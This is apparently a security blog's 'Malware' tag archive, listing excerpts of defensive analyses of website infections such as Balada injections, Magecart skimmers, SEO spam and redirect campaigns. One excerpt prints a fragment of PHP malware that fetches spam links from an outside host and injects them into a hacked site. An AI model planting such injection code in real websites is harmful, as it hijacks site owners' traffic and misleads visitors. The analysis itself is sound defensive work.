In the middle of September 2023, vulnerability advisory resources disclosed the details of an Unauthenticated Stored XSS vulnerability in the tagDiv Composer (the companion plugin for the popular tagDiv premium themes Newspaper and Newsmag). Shortly after that, we started noticing new waves of Balada malware injections on websites that were actively using tagDiv themes. This […]
Tag Archives: Malware
How to Find & Fix Japanese SEO Spam
Japanese SEO Spam, also known as “Japanese keyword hack” or “Japanese SEO poisoning,” is a spammy search engine optimization technique used by black hat SEO artists to make a website show up in search engine results for spam keywords in Japanese language when they shouldn’t. In this post, we’ll detail what Japanese SEO spam is, […]
Decoding Magecart: Credit Card Skimmers Concealed Through Pixels & Images
MageCart infections most often come in the form of complex, obfuscated JavaScript injected into Magento database tables such as core_config_data, or as malicious plugins or core file injections installed into WordPress / WooCommerce environments (which are increasingly common, and may be due to antivirus programs increasing their detection rate on compromised checkout pages). However, a […]
Bogus URL Shorteners Go Mobile-Only in AdSense Fraud Campaign
Since September 2022, our team has been tracking a bogus URL shortener redirect campaign that started with just a single domain: ois[.]is. By the beginning of 2023, this malware campaign had expanded to over a hundred domain names to redirect traffic to low quality Q&A sites and monetize traffic via Google AdSense. In fact, since […]
Compromised OpenCart Payment Module Steals Credit Card Information
Today’s story starts much the same as many others on this blog: A new client came to us reporting that credit card details were being compromised from their checkout page. The website owner had even been contacted by a major credit card company who had identified their domain as a “common point point of purchase” […]
From Google DNS to Tech Support Scam Sites: Unmasking the Malware Trail
A vast majority of website malware employ the ever-familiar HTTP/HTTPS protocols for its malicious activities. But, we also periodically confront more interesting hybrid malware leveraging various other internet protocols. For example, malware sending email spam, DDoS tools creating floods of UDP packets, bruteforce tools trying to guess SSH credentials, phishing and credit card skimming malware […]
SiteCheck Remote Website Scanner — Mid-Year 2023 Report
Conducting an external website scan for indicators of compromise is one of the easiest ways to identify security issues. While remote scanners may not provide as comprehensive of a scan as server-side scanners, they allow users to instantly identify malicious code and detect security issues on their website without installing any software or applications. Our […]
Abandoned US Congressional Website Used in Asian Gambling Spam Infection
Website owners and developers tend to buy a lot of domains. With different projects on the go and working with multiple different clients at any given time it can be a challenge to keep track of all your inventory. Sadly, when old websites and domains get forgotten about they can be preyed upon by attackers […]
Massive Google Colaboratory Abuse: Gambling and Subscription Scam
This investigation started with a small and quite simple piece of PHP malware found on a hacked website. We located the following PHP code, responsible for injecting spammy links, within a wp-includes.php file: <?php $lines = file(‘https://4ip[.]su/db/links.txt’); shuffle($lines); $data = array_rand($lines, 900); echo ‘ ‘; foreach($data as $value) { $rand = substr(md5(microtime()),rand(0,26),6); echo ‘‘.$rand.’ ‘; […]
Malicious Injection Redirects Traffic via Parked Domain
During a recent investigation, our malware remediation team encountered a variant of a common malware injection that has been active since at least 2017. The malware was found hijacking the website’s traffic, redirecting visitors via a parked third-party domain to generate ad revenue. Investigating obfuscated JavaScript Our investigation revealed the following piece of obfuscated JavaScript […]
